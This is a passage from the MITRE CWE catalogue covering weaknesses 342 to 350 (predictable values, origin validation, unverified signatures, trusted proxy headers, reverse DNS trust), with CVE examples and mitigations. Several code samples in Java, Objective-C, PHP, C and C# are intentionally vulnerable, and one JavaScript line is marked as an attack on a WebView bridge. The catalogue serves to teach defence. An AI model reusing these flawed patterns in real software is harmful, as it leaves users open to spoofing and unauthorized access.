This example also exhibits a Small Seed Space (CWE-339).

Observed Examples

Reference	Description
CVE-2002-0389	Mail server stores private mail messages with predictable filenames in a world-executable directory, which allows local users to read private mailing list archives. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0389*
CVE-2001-1141	PRNG allows attackers to use the output of small PRNG requests to determine the internal state information, which could be used by attackers to predict future pseudo-random numbers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1141*
CVE-2000-0335	DNS resolver library uses predictable IDs, which allows a local attacker to spoof DNS query results. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0335*
CVE-2005-1636	MFV. predictable filename and insecure permissions allows file modification to execute SQL queries. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1636*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	905	SFP Primary Cluster: Predictability	888	1928

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Predictable from Observable State

References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-342: Predictable Exact Value from Previous Values

Weakness ID : 342 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

An exact value or random number can be precisely predicted by observing previous values.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		340	Generation of Predictable Numbers or Identifiers	752

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1213	Random Number Issues	2014

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Increase the entropy used to seed a PRNG.

Phase: Architecture and Design

Phase: Requirements

Strategy = Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Phase: Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

Observed Examples

Reference	Description
CVE-2002-1463	Firewall generates easily predictable initial sequence numbers (ISN), which allows remote attackers to spoof connections. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1463*
CVE-1999-0074	Listening TCP ports are sequentially allocated, allowing spoofing attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0074*
CVE-1999-0077	Predictable TCP sequence numbers allow spoofing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0077*
CVE-2000-0335	DNS resolver uses predictable IDs, allowing a local user to spoof DNS query results. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0335*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	905	SFP Primary Cluster: Predictability	888	1928

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Predictable Exact Value from Previous Values

References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-343: Predictable Value Range from Previous Values

Weakness ID : 343 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software's random number generator produces a series of values which, when observed, can be used to infer a relatively small range of possibilities for the next value that could be generated.

Extended Description

The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	340	Generation of Predictable Numbers or Identifiers	752

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1213	Random Number Issues	2014

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Increase the entropy used to seed a PRNG.

Phase: Architecture and Design

Phase: Requirements

Strategy = Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Phase: Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	905	SFP Primary Cluster: Predictability	888	1928

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Predictable Value Range from Previous Values

References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf >.

[REF-320]Michal Zalewski. "Strange Attractors and TCP/IP Sequence Number Analysis". 2001. < http://www.bindview.com/Services/Razor/Papers/2001/tcpseq.cfm >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-344: Use of Invariant Value in Dynamically Changing Context

Weakness ID : 344 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product uses a constant value, name, or reference, but this value can (or should) vary across different environments.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	330	Use of Insufficiently Random Values	730
ParentOf	V	323	Reusing a Nonce, Key Pair in Encryption	713
ParentOf	B	587	Assignment of a Fixed Address to a Pointer	1175
ParentOf	B	798	Use of Hard-coded Credentials	1486

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Observed Examples

Reference	Description
CVE-2002-0980	Component for web browser writes an error message to a known location, which can then be referenced by attackers to process HTML/script in a less restrictive context *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0980*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	905	SFP Primary Cluster: Predictability	888	1928

Notes

Relationship

overlaps default configuration.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Static Value in Unpredictable Context

References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf >.

CWE-345: Insufficient Verification of Data Authenticity

Weakness ID : 345 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ParentOf	B	346	Origin Validation Error	760
ParentOf	B	347	Improper Verification of Cryptographic Signature	764
ParentOf	B	348	Use of Less Trusted Source	765
ParentOf	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	768
ParentOf	B	351	Insufficient Type Distinction	772
ParentOf	B	352	Cross-Site Request Forgery (CSRF)	773
ParentOf	B	353	Missing Support for Integrity Check	780
ParentOf	B	354	Improper Validation of Integrity Check Value	782
ParentOf	B	360	Trust of System Event Data	792
ParentOf	V	616	Incomplete Identification of Uploaded File Variables (PHP)	1223
ParentOf	V	646	Reliance on File Name or Extension of Externally-Supplied File	1268
ParentOf	B	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking	1273
ParentOf	B	924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel	1606
PeerOf	C	20	Improper Input Validation	19

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	346	Origin Validation Error	760
ParentOf	B	347	Improper Verification of Cryptographic Signature	764
ParentOf	B	352	Cross-Site Request Forgery (CSRF)	773
ParentOf	B	354	Improper Validation of Integrity Check Value	782
ParentOf	B	924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel	1606

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	1969

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
MemberOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	1935
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

Notes

Relationship

"origin validation" could fall under this.

Maintenance

The specific ways in which the origin is not properly identified should be laid out as separate weaknesses. In some sense, this is more like a category.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient Verification of Data
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
WASC	12		Content Spoofing

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
111	JSON Hijacking (aka JavaScript Hijacking)
141	Cache Poisoning
142	DNS Cache Poisoning
148	Content Spoofing
218	Spoofing of UDDI/ebXML Messages
384	Application API Message Manipulation via Man-in-the-Middle
385	Transaction or Event Tampering via Application API Manipulation
386	Application API Navigation Remapping
387	Navigation Remapping To Propagate Malicious Content
388	Application API Button Hijacking

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-346: Origin Validation Error

Weakness ID : 346 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not properly verify that the source of data or communication is valid.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
ChildOf		345	Insufficient Verification of Data Authenticity	758
PeerOf		451	User Interface (UI) Misrepresentation of Critical Information	962

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	758

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	1969

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2014
MemberOf	C	417	Communication Channel Errors	1865

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Other	Gain Privileges or Assume Identity Varies by Context *An attacker can access any functionality that is inadvertently accessible to the source.*	

Demonstrative Examples

Example 1:

This Android application will remove a user account when it receives an intent to do so:

Example Language: Java *(bad)*

```
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        int userID = intent.getIntExtra("userID");
        destroyUserData(userID);
    }
}
```

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file.

Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Example Language: Java *(bad)*

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeDataToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

Example Language: Objective-C *(bad)*

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeDataToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript *(attack)*

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Observed Examples

Reference	Description
CVE-2000-1218	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1218*
CVE-2005-0877	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0877*

Reference	Description
CVE-2001-1452	DNS server caches glue records received from non-delegated name servers *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1452*
CVE-2005-2188	user ID obtained from untrusted source (URL) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2188*
CVE-2003-0174	LDAP service does not verify if a particular attribute was set by the LDAP server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0174*
CVE-1999-1549	product does not sufficiently distinguish external HTML from internal, potentially dangerous HTML, allowing bypass using special strings in the page title. Overlaps special elements. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1549*
CVE-2003-0981	product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0981*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	1935

Notes

Maintenance

This entry has some significant overlap with other CWE entries and may need some clarification. See terminology notes.

Terminology

The "Origin Validation Error" term was originally used in a 1995 thesis [REF-324]. Although not formally defined, an issue is considered to be an origin validation error if either (1) "an object [accepts] input from an unauthorized subject," or (2) "the system [fails] to properly or completely authenticate a subject." A later section says that an origin validation error can occur when the system (1) "does not properly authenticate a user or process" or (2) "does not properly authenticate the shared data or libraries." The only example provided in the thesis (covered by OSVDB:57615) involves a setuid program running command-line arguments without dropping privileges. So, this definition (and its examples in the thesis) effectively cover other weaknesses such as CWE-287 (Improper Authentication), CWE-285 (Improper Authorization), and CWE-250 (Execution with Unnecessary Privileges). There appears to be little usage of this term today, except in the SecurityFocus vulnerability database, where the term is used for a variety of issues, including web-browser problems that allow violation of the Same Origin Policy and improper validation of the source of an incoming message.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Origin Validation Error

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Credentials
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)
75	Manipulating Writeable Configuration Files
76	Manipulating Web Input to File System Calls

CAPEC-ID	Attack Pattern Name
89	Pharming
111	JSON Hijacking (aka JavaScript Hijacking)
141	Cache Poisoning
142	DNS Cache Poisoning
160	Exploit Script-Based APIs
384	Application API Message Manipulation via Man-in-the-Middle
385	Transaction or Event Tampering via Application API Manipulation
386	Application API Navigation Remapping
387	Navigation Remapping To Propagate Malicious Content
388	Application API Button Hijacking
510	SaaS User Request Forgery

References

[REF-324]Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995 August 1. < http://cwe.mitre.org/documents/sources/ATaxonomyofSecurityFaultsintheUNIXOperatingSystem%5BAslam95%5D.pdf >.

CWE-347: Improper Verification of Cryptographic Signature

Weakness ID : 347 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not verify, or incorrectly verifies, the cryptographic signature for data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	758

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	758

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2014
MemberOf	C	310	Cryptographic Issues	1858

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Integrity Confidentiality	Gain Privileges or Assume Identity Modify Application Data Execute Unauthorized Code or Commands *An attacker could gain access to sensitive data and possibly execute unauthorized code.*	

Demonstrative Examples

Example 1:

In the following code, a JarFile object is created from a downloaded file.

Example Language: Java *(bad)*

```
File f = new File(downloadedFilePath);
JarFile jf = new JarFile(f);
```

The JAR file that was potentially downloaded from an untrusted source is created without verifying the signature (if present). An alternate constructor that accepts a boolean verify parameter should be used instead.

Observed Examples

Reference	Description
CVE-2002-1796	Does not properly verify signatures for "trusted" entities. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1796*
CVE-2005-2181	Insufficient verification allows spoofing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2181*
CVE-2005-2182	Insufficient verification allows spoofing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2182*
CVE-2002-1706	Accepts a configuration file without a Message Integrity Check (MIC) signature. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1706*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	1909
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	1938

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improperly Verified Signature
The CERT Oracle Secure Coding Standard for Java (2011)	SEC06-J		Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
463	Padding Oracle Crypto Attack

Weakness ID : 348 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	758

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2014

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *An attacker could utilize the untrusted data source to bypass protection mechanisms and gain access to sensitive data.*	

Demonstrative Examples

Example 1:

This code attempts to limit the access of a page to certain IP Addresses. It checks the 'HTTP_X_FORWARDED_FOR' header in case an authorized user is sending the request through a proxy.

Example Language: PHP *(bad)*

```
$requestingIP = '0.0.0.0';
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
    $requestingIP = $_SERVER['HTTP_X_FORWARDED_FOR'];
else{
    $requestingIP = $_SERVER['REMOTE_ADDR'];
}
if(in_array($requestingIP,$ipAllowlist)){
    generatePage();
    return;
}
else{
    echo "You are not authorized to view this page";
    return;
}
```

The 'HTTP_X_FORWARDED_FOR' header can be user controlled and so should never be trusted. An attacker can falsify the header to gain access to the page.

This fixed code only trusts the 'REMOTE_ADDR' header and so avoids the issue:

Example Language: PHP *(good)*

```
$requestingIP = '0.0.0.0';
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
    echo "This application cannot be accessed through a proxy.";
    return;
else{
    $requestingIP = $_SERVER['REMOTE_ADDR'];
}
...
```

Be aware that 'REMOTE_ADDR' can still be spoofed. This may seem useless because the server will send the response to the fake address and not the attacker, but this may still be enough to conduct an attack. For example, if the generatePage() function in this code is resource intensive, an attacker could flood the server with fake requests using an authorized IP and consume significant resources. This could be a serious DoS attack even though the attacker would never see the page's sensitive content.

Observed Examples

Reference	Description
CVE-2001-0860	Product uses IP address provided by a client, instead of obtaining it from the packet headers, allowing easier spoofing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0860*
CVE-2004-1950	Web product uses the IP address in the X-Forwarded-For HTTP header instead of a server variable that uses the connecting IP address, allowing filter bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1950*
BID:15326	Similar to CVE-2004-1950 *http://www.securityfocus.com/bid/15326/info*
CVE-2001-0908	Product logs IP address specified by the client instead of obtaining it from the packet headers, allowing information hiding. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0908*
CVE-2006-1126	PHP application uses IP address from X-Forwarded-For HTTP header, instead of REMOTE_ADDR. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1126*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	1946

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Use of Less Trusted Source

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
73	User-Controlled Filename
76	Manipulating Web Input to File System Calls
85	AJAX Fingerprinting
141	Cache Poisoning

CAPEC-ID	Attack Pattern Name
142	DNS Cache Poisoning

CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data

Weakness ID : 349 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	345	Insufficient Verification of Data Authenticity	758

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2014

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Integrity	Bypass Protection Mechanism Modify Application Data *An attacker could package untrusted data with trusted data to bypass protection mechanisms to gain access to and possibly modify sensitive data.*	

Observed Examples

Reference	Description
CVE-2002-0018	Does not verify that trusted entity is authoritative for all entities in its response. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0018*
CVE-2006-5462	use of extra data in a signature allows certificate signature forging *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5462*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	860	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV)	844	1910
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947
MemberOf	C	1150	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV)	1133	1992

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Untrusted Data Appended with Trusted Data
The CERT Oracle Secure Coding Standard for Java (2011)	ENV01-J		Place all security-sensitive code in a single JAR and sign and seal it

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
75	Manipulating Writeable Configuration Files
141	Cache Poisoning
142	DNS Cache Poisoning

CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action

Weakness ID : 350 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.

Extended Description

Since DNS names can be easily spoofed or misreported, and it may be difficult for the software to detect if a trusted DNS server has been compromised, DNS names do not constitute a valid authentication mechanism.

When the software performs a reverse DNS resolution for an IP address, if an attacker controls the server for that IP address, then the attacker can cause the server to return an arbitrary hostname. As a result, the attacker may be able to bypass authentication, cause the wrong hostname to be recorded in log files to hide activities, or perform other attacks.

Attackers can spoof DNS names by either (1) compromising a DNS server and modifying its records (sometimes called DNS cache poisoning), or (2) having legitimate control over a DNS server associated with their IP address.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	807	Reliance on Untrusted Inputs in a Security Decision	1507
ChildOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1604
ChildOf	B	290	Authentication Bypass by Spoofing	640
CanPrecede	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1604

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism *Malicious users can fake authentication information by providing false DNS information.*	

Potential Mitigations

Phase: Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

Phase: Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

Demonstrative Examples

Example 1:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host.

Example Language: C *(bad)*

```
struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}
```

Example Language: Java *(bad)*

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}
```

Example Language: C# *(bad)*

```
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}
